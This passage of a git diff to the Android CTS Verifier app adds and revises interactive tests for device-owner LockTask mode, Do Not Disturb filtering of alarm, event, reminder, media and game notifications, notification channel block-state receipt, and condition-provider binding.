+                R.string.device_owner_lock_task_ui_stop_lock_task_test,
+                R.string.device_owner_lock_task_ui_stop_lock_task_test_info,
+                new ButtonInfo(
+                        R.string.device_owner_lock_task_ui_stop_lock_task_test,
+                        stopLockTaskIntent
+                )));
+    }
+
+    /** Receives LockTask start/stop callbacks forwarded by {@link DeviceAdminTestReceiver}. */
+    private final class LockTaskStateChangedReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            switch (action) {
+                case ACTION_LOCK_TASK_STARTED:
+                    if (mLockTaskStartedLatch != null) {
+                        mLockTaskStartedLatch.countDown();
+                    }
+                    break;
+                case ACTION_LOCK_TASK_STOPPED:
+                    if (mLockTaskStoppedLatch != null) {
+                        mLockTaskStoppedLatch.countDown();
+                    }
+                    break;
+            }
+        }
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        mStateChangedReceiver = new LockTaskStateChangedReceiver();
+        final IntentFilter filter = new IntentFilter();
+        filter.addAction(ACTION_LOCK_TASK_STARTED);
+        filter.addAction(ACTION_LOCK_TASK_STOPPED);
+        LocalBroadcastManager.getInstance(this).registerReceiver(mStateChangedReceiver, filter);
+    }
+
+    @Override
+    protected void onPause() {
+        if (mStateChangedReceiver != null) {
+            LocalBroadcastManager.getInstance(this).unregisterReceiver(mStateChangedReceiver);
+            mStateChangedReceiver = null;
+        }
+        super.onPause();
+    }
+
+    /**
+     * Starts LockTask mode and waits for callback from {@link DeviceAdminTestReceiver} to confirm
+     * LockTask has started successfully. If the callback isn't received, the entire test will be
+     * marked as failed.
+     *
+     * @see LockTaskStateChangedReceiver
+     */
+    private void startLockTaskMode() {
+        if (mAm.getLockTaskModeState() == ActivityManager.LOCK_TASK_MODE_LOCKED) {
+            return;
+        }
+
+        mLockTaskStartedLatch = new CountDownLatch(1);
+        try {
+            mDpm.setLockTaskPackages(ADMIN_RECEIVER, new String[] {TEST_PACKAGE_NAME});
+            mDpm.setLockTaskFeatures(ADMIN_RECEIVER, LOCK_TASK_FEATURE_NONE);
+            startLockTask();
+
+            new CheckLockTaskStateTask() {
+                @Override
+                protected void onPostExecute(Boolean success) {
+                    if (success) {
+                        issueTestNotification();
+                    } else {
+                        notifyFailure(getTestId(), "Failed to start LockTask mode");
+                    }
+                }
+            }.execute(mLockTaskStartedLatch);
+        } catch (SecurityException e) {
+            Log.e(TAG, e.getMessage(), e);
+            Toast.makeText(this, "Failed to run test. Did you set up device owner correctly?",
+                    Toast.LENGTH_SHORT).show();
+        }
+    }
+
+    /**
+     * Stops LockTask mode and waits for callback from {@link DeviceAdminTestReceiver} to confirm
+     * LockTask has stopped successfully. If the callback isn't received, the "Stop LockTask mode"
+     * test case will be marked as failed.
+     *
+     * Note that we {@link #finish()} this activity here, since it's started by the "Stop LockTask
+     * mode" test activity, and shouldn't be exposed to the tester once its job is done.
+     *
+     * @see LockTaskStateChangedReceiver
+     */
+    private void stopLockTaskMode() {
+        if (mAm.getLockTaskModeState() == ActivityManager.LOCK_TASK_MODE_NONE) {
+            finish();
+            return;
+        }
+
+        mLockTaskStoppedLatch = new CountDownLatch(1);
+        try {
+            stopLockTask();
+
+            new CheckLockTaskStateTask() {
+                @Override
+                protected void onPostExecute(Boolean success) {
+                    if (!success) {
+                        notifyFailure(TEST_ID_STOP_LOCK_TASK, "Failed to stop LockTask mode");
+                    }
+                    cancelTestNotification();
+                    mDpm.setLockTaskFeatures(ADMIN_RECEIVER, LOCK_TASK_FEATURE_NONE);
+                    mDpm.setLockTaskPackages(ADMIN_RECEIVER, new String[] {});
+                    LockTaskUiTestActivity.this.finish();
+                }
+            }.execute(mLockTaskStoppedLatch);
+        } catch (SecurityException e) {
+            Log.e(TAG, e.getMessage(), e);
+            Toast.makeText(this, "Failed to finish test. Did you set up device owner correctly?",
+                    Toast.LENGTH_SHORT).show();
+        }
+    }
+
+    private abstract class CheckLockTaskStateTask extends AsyncTask<CountDownLatch, Void, Boolean> {
+        @Override
+        protected Boolean doInBackground(CountDownLatch... latches) {
+            if (latches.length > 0 && latches[0] != null) {
+                try {
+                    return latches[0].await(1, TimeUnit.SECONDS);
+                } catch (InterruptedException e) {
+                    // Fall through
+                }
+            }
+            return false;
+        }
+
+        @Override
+        protected abstract void onPostExecute(Boolean success);
+    }
+
+    private void notifyFailure(String testId, String message) {
+        Log.e(TAG, message);
+        Toast.makeText(this, message, Toast.LENGTH_SHORT).show();
+        TestResult.setFailedResult(this, testId, message);
+    }
+
+    private void issueTestNotification() {
+        String channelId = getTestId();
+        if (mNotifyMgr.getNotificationChannel(channelId) == null) {
+            NotificationChannel channel = new NotificationChannel(
+                    channelId, getTestId(), NotificationManager.IMPORTANCE_HIGH);
+            mNotifyMgr.createNotificationChannel(channel);
+        }
+
+        Notification note = new Notification.Builder(this, channelId)
+                .setContentTitle(getString(R.string.device_owner_lock_task_ui_test))
+                .setSmallIcon(android.R.drawable.sym_def_app_icon)
+                .setOngoing(true)
+                .build();
+
+        mNotifyMgr.notify(0, note);
+    }
+
+    private void cancelTestNotification() {
+        mNotifyMgr.cancelAll();
+    }
+
+    private TestListItem createSetLockTaskFeaturesTest(String testId, int featureFlags,
+            int titleResId, int detailResId) {
+        final Intent commandIntent = new Intent(CommandReceiverActivity.ACTION_EXECUTE_COMMAND);
+        commandIntent.putExtra(CommandReceiverActivity.EXTRA_COMMAND,
+                CommandReceiverActivity.COMMAND_SET_LOCK_TASK_FEATURES);
+        commandIntent.putExtra(CommandReceiverActivity.EXTRA_VALUE, featureFlags);
+
+        return createInteractiveTestItem(this, testId, titleResId, detailResId,
+                new ButtonInfo(titleResId, commandIntent));
+    }
+
+    @Override
+    public String getTestId() {
+        return getIntent().getStringExtra(EXTRA_TEST_ID);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
index 6a1ce2c..29c8708 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
@@ -26,6 +26,7 @@
 import android.content.ContentProviderOperation;
 import android.content.OperationApplicationException;
 import android.database.Cursor;
+import android.media.AudioAttributes;
 import android.net.Uri;
 import android.os.RemoteException;
 import android.provider.ContactsContract;
@@ -35,7 +36,9 @@
 import android.util.Log;
 import android.view.View;
 import android.view.ViewGroup;
+
 import com.android.cts.verifier.R;
+
 import org.json.JSONException;
 import org.json.JSONObject;
 
@@ -50,6 +53,8 @@
 
     private static final String NOTIFICATION_CHANNEL_ID = TAG;
     private static final String NOTIFICATION_CHANNEL_ID_NOISY = TAG + "/noisy";
+    private static final String NOTIFICATION_CHANNEL_ID_MEDIA = TAG + "/media";
+    private static final String NOTIFICATION_CHANNEL_ID_GAME = TAG + "/game";
     private static final String ALICE = "Alice";
     private static final String ALICE_PHONE = "+16175551212";
     private static final String ALICE_EMAIL = "alice@_foo._bar";
@@ -91,9 +96,13 @@
         tests.add(new IsEnabledTest());
         tests.add(new ServiceStartedTest());
         tests.add(new InsertContactsTest());
-        tests.add(new NoneInterceptsAllTest());
-        tests.add(new PriorityInterceptsSomeTest());
-        tests.add(new AllInterceptsNothingTest());
+        tests.add(new NoneInterceptsAllMessagesTest());
+        tests.add(new NoneInterceptsAlarmEventReminderCategoriesTest());
+        tests.add(new PriorityInterceptsSomeMessagesTest());
+        tests.add(new PriorityInterceptsAlarmsTest());
+        tests.add(new PriorityInterceptsMediaSystemOtherTest());
+        tests.add(new AllInterceptsNothingMessagesTest());
+        tests.add(new AllInterceptsNothingDiffCategoriesTest());
         tests.add(new DefaultOrderTest());
         tests.add(new PriorityOrderTest());
         tests.add(new InterruptionOrderTest());
@@ -113,11 +122,25 @@
                 NOTIFICATION_CHANNEL_ID_NOISY, NotificationManager.IMPORTANCE_HIGH);
         noisyChannel.enableVibration(true);
         mNm.createNotificationChannel(noisyChannel);
+        NotificationChannel mediaChannel = new NotificationChannel(NOTIFICATION_CHANNEL_ID_MEDIA,
+                NOTIFICATION_CHANNEL_ID_MEDIA, NotificationManager.IMPORTANCE_HIGH);
+        AudioAttributes.Builder aa = new AudioAttributes.Builder()
+                .setUsage(AudioAttributes.USAGE_MEDIA);
+        mediaChannel.setSound(null, aa.build());
+        mNm.createNotificationChannel(mediaChannel);
+        NotificationChannel gameChannel = new NotificationChannel(NOTIFICATION_CHANNEL_ID_GAME,
+                NOTIFICATION_CHANNEL_ID_GAME, NotificationManager.IMPORTANCE_HIGH);
+        AudioAttributes.Builder aa2 = new AudioAttributes.Builder()
+                .setUsage(AudioAttributes.USAGE_GAME);
+        gameChannel.setSound(null, aa2.build());
+        mNm.createNotificationChannel(gameChannel);
     }
 
     private void deleteChannels() {
         mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
         mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID_NOISY);
+        mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID_MEDIA);
+        mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID_GAME);
     }
 
     // Tests
@@ -185,7 +208,7 @@
         }
     }
 
-    protected class NoneInterceptsAllTest extends InteractiveTestCase {
+    protected class NoneInterceptsAllMessagesTest extends InteractiveTestCase {
         @Override
         View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.attention_all_are_filtered);
@@ -213,7 +236,7 @@
                 try {
                     String tag = payload.getString(JSON_TAG);
                     boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
-                    Log.e(TAG, tag + (zen ? "" : " not") + " intercepted");
+                    Log.e(TAG, tag + (!zen ? "" : " not") + " intercepted");
                     if (found.contains(tag)) {
                         // multiple entries for same notification!
                         pass = false;
@@ -238,24 +261,23 @@
 
         @Override
         void tearDown() {
-            mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
             mNm.cancelAll();
             deleteChannels();
             MockListener.getInstance().resetData();
         }
-
     }
 
-    protected class AllInterceptsNothingTest extends InteractiveTestCase {
+    protected class NoneInterceptsAlarmEventReminderCategoriesTest extends InteractiveTestCase {
         @Override
         View inflate(ViewGroup parent) {
-            return createAutoItem(parent, R.string.attention_none_are_filtered);
+            return createAutoItem(parent, R.string.attention_all_are_filtered);
         }
 
         @Override
         void setUp() {
+            mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
             createChannels();
-            sendNotifications(MODE_URI, false, false);
+            sendEventAlarmReminderNotifications(SEND_ALL);
             status = READY;
         }
 
@@ -273,7 +295,66 @@
                 try {
                     String tag = payload.getString(JSON_TAG);
                     boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
-                    Log.e(TAG, tag + (zen ? "" : " not") + " intercepted");
+                    Log.e(TAG, tag + (!zen ? "" : " not") + " intercepted");
+                    if (found.contains(tag)) {
+                        // multiple entries for same notification!
+                        pass = false;
+                    } else if (ALICE.equals(tag)) {
+                        found.add(ALICE);
+                        pass &= !zen;
+                    } else if (BOB.equals(tag)) {
+                        found.add(BOB);
+                        pass &= !zen;
+                    } else if (CHARLIE.equals(tag)) {
+                        found.add(CHARLIE);
+                        pass &= !zen;
+                    }
+                } catch (JSONException e) {
+                    pass = false;
+                    Log.e(TAG, "failed to unpack data from mocklistener", e);
+                }
+            }
+            pass &= found.size() == 3;
+            status = pass ? PASS : FAIL;
+        }
+
+        @Override
+        void tearDown() {
+            mNm.cancelAll();
+            deleteChannels();
+            MockListener.getInstance().resetData();
+        }
+    }
+
+    protected class AllInterceptsNothingMessagesTest extends InteractiveTestCase {
+        @Override
+        View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.attention_none_are_filtered_messages);
+        }
+
+        @Override
+        void setUp() {
+            mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+            createChannels();
+            sendNotifications(MODE_URI, false, false); // different messages
+            status = READY;
+        }
+
+        @Override
+        void test() {
+            List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
+
+            Set<String> found = new HashSet<String>();
+            if (result.size() == 0) {
+                status = FAIL;
+                return;
+            }
+            boolean pass = true;
+            for (JSONObject payload : result) {
+                try {
+                    String tag = payload.getString(JSON_TAG);
+                    boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
+                    Log.e(TAG, tag + (!zen ? "" : " not") + " intercepted");
                     if (found.contains(tag)) {
                         // multiple entries for same notification!
                         pass = false;
@@ -304,18 +385,77 @@
         }
     }
 
-    protected class PriorityInterceptsSomeTest extends InteractiveTestCase {
+    protected class AllInterceptsNothingDiffCategoriesTest extends InteractiveTestCase {
         @Override
         View inflate(ViewGroup parent) {
-            return createAutoItem(parent, R.string.attention_some_are_filtered);
+            return createAutoItem(parent, R.string.attention_none_are_filtered_diff_categories);
+        }
+
+        @Override
+        void setUp() {
+            mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+            createChannels();
+            sendEventAlarmReminderNotifications(SEND_ALL);
+            status = READY;
+        }
+
+        @Override
+        void test() {
+            List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
+
+            Set<String> found = new HashSet<String>();
+            if (result.size() == 0) {
+                status = FAIL;
+                return;
+            }
+            boolean pass = true;
+            for (JSONObject payload : result) {
+                try {
+                    String tag = payload.getString(JSON_TAG);
+                    boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
+                    Log.e(TAG, tag + (!zen ? "" : " not") + " intercepted");
+                    if (found.contains(tag)) {
+                        // multiple entries for same notification!
+                        pass = false;
+                    } else if (ALICE.equals(tag)) {
+                        found.add(ALICE);
+                        pass &= zen;
+                    } else if (BOB.equals(tag)) {
+                        found.add(BOB);
+                        pass &= zen;
+                    } else if (CHARLIE.equals(tag)) {
+                        found.add(CHARLIE);
+                        pass &= zen;
+                    }
+                } catch (JSONException e) {
+                    pass = false;
+                    Log.e(TAG, "failed to unpack data from mocklistener", e);
+                }
+            }
+            pass &= found.size() == 3;
+            status = pass ? PASS : FAIL;
+        }
+
+        @Override
+        void tearDown() {
+            mNm.cancelAll();
+            deleteChannels();
+            MockListener.getInstance().resetData();
+        }
+    }
+
+    protected class PriorityInterceptsSomeMessagesTest extends InteractiveTestCase {
+        @Override
+        View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.attention_some_are_filtered_messages);
         }
 
         @Override
         void setUp() {
             mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
             NotificationManager.Policy policy = mNm.getNotificationPolicy();
-            policy = new NotificationManager.Policy(policy.priorityCategories
-                    | NotificationManager.Policy.PRIORITY_CATEGORY_MESSAGES,
+            policy = new NotificationManager.Policy(
+                    NotificationManager.Policy.PRIORITY_CATEGORY_MESSAGES,
                     policy.priorityCallSenders,
                     NotificationManager.Policy.PRIORITY_SENDERS_STARRED);
             mNm.setNotificationPolicy(policy);
@@ -338,7 +478,7 @@
                 try {
                     String tag = payload.getString(JSON_TAG);
                     boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
-                    Log.e(TAG, tag + (zen ? "" : " not") + " intercepted");
+                    Log.e(TAG, tag + (!zen ? "" : " not") + " intercepted");
                     if (found.contains(tag)) {
                         // multiple entries for same notification!
                         pass = false;
@@ -357,13 +497,144 @@
                     Log.e(TAG, "failed to unpack data from mocklistener", e);
                 }
             }
-            pass &= found.size() == 3;
+            pass &= found.size() >= 3;
             status = pass ? PASS : FAIL;
         }
 
         @Override
         void tearDown() {
-            mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+            mNm.cancelAll();
+            deleteChannels();
+            MockListener.getInstance().resetData();
+        }
+    }
+
+    protected class PriorityInterceptsAlarmsTest extends InteractiveTestCase {
+        @Override
+        View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.attention_some_are_filtered_alarms);
+        }
+
+        @Override
+        void setUp() {
+            mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+            NotificationManager.Policy policy = mNm.getNotificationPolicy();
+            policy = new NotificationManager.Policy(
+                    NotificationManager.Policy.PRIORITY_CATEGORY_ALARMS,
+                    policy.priorityCallSenders,
+                    policy.priorityMessageSenders);
+            mNm.setNotificationPolicy(policy);
+            createChannels();
+            // Event to Alice, Alarm to Bob, Reminder to Charlie:
+            sendEventAlarmReminderNotifications(SEND_ALL);
+            status = READY;
+        }
+
+        @Override
+        void test() {
+            List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
+
+            Set<String> found = new HashSet<String>();
+            if (result.size() == 0) {
+                status = FAIL;
+                return;
+            }
+            boolean pass = true;
+            for (JSONObject payload : result) {
+                try {
+                    String tag = payload.getString(JSON_TAG);
+                    boolean zenIntercepted = !payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
+                    Log.e(TAG, tag + (zenIntercepted ? "" : " not") + " intercepted");
+                    if (found.contains(tag)) {
+                        // multiple entries for same notification!
+                        pass = false;
+                    } else if (ALICE.equals(tag)) {
+                        found.add(ALICE);
+                        pass &= zenIntercepted; // Alice's event notif should be intercepted
+                    } else if (BOB.equals(tag)) {
+                        found.add(BOB);
+                        pass &= !zenIntercepted;   // Bob's alarm notif should not be intercepted
+                    } else if (CHARLIE.equals(tag)) {
+                        found.add(CHARLIE);
+                        pass &= zenIntercepted; // Charlie's reminder notif should be intercepted
+                    }
+                } catch (JSONException e) {
+                    pass = false;
+                    Log.e(TAG, "failed to unpack data from mocklistener", e);
+                }
+            }
+            pass &= found.size() >= 3;
+            status = pass ? PASS : FAIL;
+        }
+
+        @Override
+        void tearDown() {
+            mNm.cancelAll();
+            deleteChannels();
+            MockListener.getInstance().resetData();
+        }
+    }
+
+    protected class PriorityInterceptsMediaSystemOtherTest extends InteractiveTestCase {
+        @Override
+        View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.attention_some_are_filtered_media_system_other);
+        }
+
+        @Override
+        void setUp() {
+            mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+            NotificationManager.Policy policy = mNm.getNotificationPolicy();
+            policy = new NotificationManager.Policy(
+                    NotificationManager.Policy.PRIORITY_CATEGORY_MEDIA_SYSTEM_OTHER,
+                    policy.priorityCallSenders,
+                    policy.priorityMessageSenders);
+            mNm.setNotificationPolicy(policy);
+            createChannels();
+            // Alarm to Alice, Other (Game) to Bob, Media to Charlie:
+            sendAlarmOtherMediaNotifications(SEND_ALL);
+            status = READY;
+        }
+
+        @Override
+        void test() {
+            List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
+
+            Set<String> found = new HashSet<String>();
+            if (result.size() == 0) {
+                status = FAIL;
+                return;
+            }
+            boolean pass = true;
+            for (JSONObject payload : result) {
+                try {
+                    String tag = payload.getString(JSON_TAG);
+                    boolean zenIntercepted = !payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
+                    Log.e(TAG, tag + (zenIntercepted ? "" : " not") + " intercepted");
+                    if (found.contains(tag)) {
+                        // multiple entries for same notification!
+                        pass = false;
+                    } else if (ALICE.equals(tag)) {
+                        found.add(ALICE);
+                        pass &= zenIntercepted;
+                    } else if (BOB.equals(tag)) {
+                        found.add(BOB);
+                        pass &= !zenIntercepted;
+                    } else if (CHARLIE.equals(tag)) {
+                        found.add(CHARLIE);
+                        pass &= !zenIntercepted;
+                    }
+                } catch (JSONException e) {
+                    pass = false;
+                    Log.e(TAG, "failed to unpack data from mocklistener", e);
+                }
+            }
+            pass &= found.size() >= 3;
+            status = pass ? PASS : FAIL;
+        }
+
+        @Override
+        void tearDown() {
             mNm.cancelAll();
             deleteChannels();
             MockListener.getInstance().resetData();
@@ -379,6 +650,7 @@
 
         @Override
         void setUp() {
+            mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
             createChannels();
             sendNotifications(MODE_NONE, false, false);
             status = READY;
@@ -415,6 +687,7 @@
 
         @Override
         void setUp() {
+            mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
             createChannels();
             sendNotifications(MODE_NONE, true, false);
             status = READY;
@@ -453,6 +726,7 @@
 
         @Override
         void setUp() {
+            mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
             delayTime = 15000;
             createChannels();
             // send B & C noisy with contact affinity
@@ -727,6 +1001,83 @@
         }
     }
 
+    private void sendEventAlarmReminderNotifications(int which) {
+        long when = System.currentTimeMillis() - 4000000L;
+        final String channelId = NOTIFICATION_CHANNEL_ID;
+
+        // Event notification to Alice
+        if ((which & SEND_A) != 0) {
+            Notification.Builder alice = new Notification.Builder(mContext, channelId)
+                    .setContentTitle(ALICE)
+                    .setContentText(ALICE)
+                    .setSmallIcon(R.drawable.ic_stat_alice)
+                    .setCategory(Notification.CATEGORY_EVENT)
+                    .setWhen(when);
+            mNm.notify(ALICE, NOTIFICATION_ID + 1, alice.build());
+        }
+
+        // Alarm notification to Bob
+        if ((which & SEND_B) != 0) {
+            Notification.Builder bob = new Notification.Builder(mContext, channelId)
+                    .setContentTitle(BOB)
+                    .setContentText(BOB)
+                    .setSmallIcon(R.drawable.ic_stat_bob)
+                    .setCategory(Notification.CATEGORY_ALARM)
+                    .setWhen(when);
+            mNm.notify(BOB, NOTIFICATION_ID + 2, bob.build());
+        }
+
+        // Reminder notification to Charlie
+        if ((which & SEND_C) != 0) {
+            Notification.Builder charlie =
+                    new Notification.Builder(mContext, channelId)
+                            .setContentTitle(CHARLIE)
+                            .setContentText(CHARLIE)
+                            .setSmallIcon(R.drawable.ic_stat_charlie)
+                            .setCategory(Notification.CATEGORY_REMINDER)
+                            .setWhen(when);
+            mNm.notify(CHARLIE, NOTIFICATION_ID + 3, charlie.build());
+        }
+    }
+
+    private void sendAlarmOtherMediaNotifications(int which) {
+        long when = System.currentTimeMillis() - 4000000L;
+        final String channelId = NOTIFICATION_CHANNEL_ID;
+
+        // Alarm notification to Alice
+        if ((which & SEND_A) != 0) {
+            Notification.Builder alice = new Notification.Builder(mContext, channelId)
+                    .setContentTitle(ALICE)
+                    .setContentText(ALICE)
+                    .setSmallIcon(R.drawable.ic_stat_alice)
+                    .setCategory(Notification.CATEGORY_ALARM)
+                    .setWhen(when);
+            mNm.notify(ALICE, NOTIFICATION_ID + 1, alice.build());
+        }
+
+        // "Other" notification to Bob
+        if ((which & SEND_B) != 0) {
+            Notification.Builder bob = new Notification.Builder(mContext,
+                    NOTIFICATION_CHANNEL_ID_GAME)
+                    .setContentTitle(BOB)
+                    .setContentText(BOB)
+                    .setSmallIcon(R.drawable.ic_stat_bob)
+                    .setWhen(when);
+            mNm.notify(BOB, NOTIFICATION_ID + 2, bob.build());
+        }
+
+        // Media notification to Charlie
+        if ((which & SEND_C) != 0) {
+            Notification.Builder charlie =
+                    new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID_MEDIA)
+                            .setContentTitle(CHARLIE)
+                            .setContentText(CHARLIE)
+                            .setSmallIcon(R.drawable.ic_stat_charlie)
+                            .setWhen(when);
+            mNm.notify(CHARLIE, NOTIFICATION_ID + 3, charlie.build());
+        }
+    }
+
     private void addPerson(int mode, Notification.Builder note,
             Uri uri, String phone, String email) {
         if (mode == MODE_URI && uri != null) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BlockChangeReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BlockChangeReceiver.java
new file mode 100644
index 0000000..f432ddb
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BlockChangeReceiver.java
@@ -0,0 +1,27 @@
+package com.android.cts.verifier.notifications;
+
+import static android.app.NotificationManager.ACTION_NOTIFICATION_CHANNEL_BLOCK_STATE_CHANGED;
+import static android.app.NotificationManager.ACTION_NOTIFICATION_CHANNEL_GROUP_BLOCK_STATE_CHANGED;
+
+import android.app.NotificationManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+
+public class BlockChangeReceiver extends BroadcastReceiver {
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        SharedPreferences prefs = context.getSharedPreferences(
+                NotificationListenerVerifierActivity.PREFS, Context.MODE_PRIVATE);
+        if (ACTION_NOTIFICATION_CHANNEL_GROUP_BLOCK_STATE_CHANGED.equals(intent.getAction())
+                || ACTION_NOTIFICATION_CHANNEL_BLOCK_STATE_CHANGED.equals(intent.getAction())) {
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.putBoolean(
+                    intent.getStringExtra(NotificationManager.EXTRA_BLOCK_STATE_CHANGED_ID),
+                    intent.getBooleanExtra(NotificationManager.EXTRA_BLOCKED_STATE, false));
+            editor.commit();
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
index f3bf7e5..285855f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
@@ -18,15 +18,18 @@
 
 import com.android.cts.verifier.R;
 
+import android.app.ActivityManager;
 import android.app.AutomaticZenRule;
 import android.app.NotificationManager;
 import android.content.ComponentName;
+import android.content.Context;
 import android.content.Intent;
 import android.net.Uri;
 import android.os.Parcelable;
 import android.provider.Settings;
 import android.provider.Settings.Secure;
 import android.text.TextUtils;
+import android.util.Log;
 import android.view.View;
 import android.view.ViewGroup;
 
@@ -56,17 +59,25 @@
     @Override
     protected List<InteractiveTestCase> createTestItems() {
         List<InteractiveTestCase> tests = new ArrayList<>(9);
-        tests.add(new IsEnabledTest());
-        tests.add(new ServiceStartedTest());
-        tests.add(new CreateAutomaticZenRuleTest());
-        tests.add(new UpdateAutomaticZenRuleTest());
-        tests.add(new GetAutomaticZenRuleTest());
-        tests.add(new GetAutomaticZenRulesTest());
-        tests.add(new SubscribeAutomaticZenRuleTest());
-        tests.add(new DeleteAutomaticZenRuleTest());
-        tests.add(new UnsubscribeAutomaticZenRuleTest());
-        tests.add(new IsDisabledTest());
-        tests.add(new ServiceStoppedTest());
+        ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+        if (am.isLowRamDevice()) {
+            tests.add(new CannotBeEnabledTest());
+            tests.add(new ServiceStoppedTest());
+        } else {
+            tests.add(new IsEnabledTest());
+            tests.add(new ServiceStartedTest());
+            tests.add(new CreateAutomaticZenRuleTest());
+            tests.add(new UpdateAutomaticZenRuleTest());
+            tests.add(new GetAutomaticZenRuleTest());
+            tests.add(new GetAutomaticZenRulesTest());
+            tests.add(new SubscribeAutomaticZenRuleTest());
+            tests.add(new DeleteAutomaticZenRuleTest());
+            tests.add(new UnsubscribeAutomaticZenRuleTest());
+            tests.add(new RequestUnbindTest());
+            tests.add(new RequestBindTest());
+            tests.add(new IsDisabledTest());
+            tests.add(new ServiceStoppedTest());
+        }
         return tests;
     }
 
@@ -101,6 +112,50 @@
             // wait for the service to start
             delay();
         }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
+        }
+    }
+
+    protected class CannotBeEnabledTest extends InteractiveTestCase {
+        @Override
+        View inflate(ViewGroup parent) {
+            return createNlsSettingsItem(parent, R.string.cp_cannot_enable_service);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        void test() {
+            mNm.cancelAll();
+            Intent settings = new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
+            if (settings.resolveActivity(mPackageManager) == null) {
+                logFail("no settings activity");
+                status = FAIL;
+            } else {
+                if (mNm.isNotificationPolicyAccessGranted()) {
+                    status = FAIL;
+                } else {
+                    status = PASS;
+                }
+                next();
+            }
+        }
+
+        void tearDown() {
+            // wait for the service to start
+            delay();
+        }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
+        }
     }
 
     protected class ServiceStartedTest extends InteractiveTestCase {
@@ -135,6 +190,75 @@
         }
     }
 
+    private class RequestUnbindTest extends InteractiveTestCase {
+        int mRetries = 5;
+
+        @Override
+        View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.nls_snooze);
+
+        }
+
+        @Override
+        void setUp() {
+            status = READY;
+        }
+
+        @Override
+        void test() {
+            if (status == READY) {
+                MockConditionProvider.getInstance().requestUnbind();
+                status = RETEST;
+            } else {
+                if (MockConditionProvider.getInstance() == null ||
+                        !MockConditionProvider.getInstance().isConnected()) {
+                    status = PASS;
+                } else {
+                    if (--mRetries > 0) {
+                        status = RETEST;
+                    } else {
+                        logFail();
+                        status = FAIL;
+                    }
+                }
+                next();
+            }
+        }
+    }
+
+    private class RequestBindTest extends InteractiveTestCase {
+        int mRetries = 5;
+
+        @Override
+        View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.nls_unsnooze);
+
+        }
+
+        @Override
+        void test() {
+            if (status == READY) {
+                MockConditionProvider.requestRebind(MockConditionProvider.COMPONENT_NAME);
+                status = RETEST;
+            } else {
+                if (MockConditionProvider.getInstance().isConnected()
+                        && MockConditionProvider.getInstance().isBound()) {
+                    status = PASS;
+                    next();
+                } else {
+                    if (--mRetries > 0) {
+                        status = RETEST;
+                        next();
+                    } else {
+                        logFail();
+                        status = FAIL;
+                    }
+                }
+            }
+        }
+    }
+
+
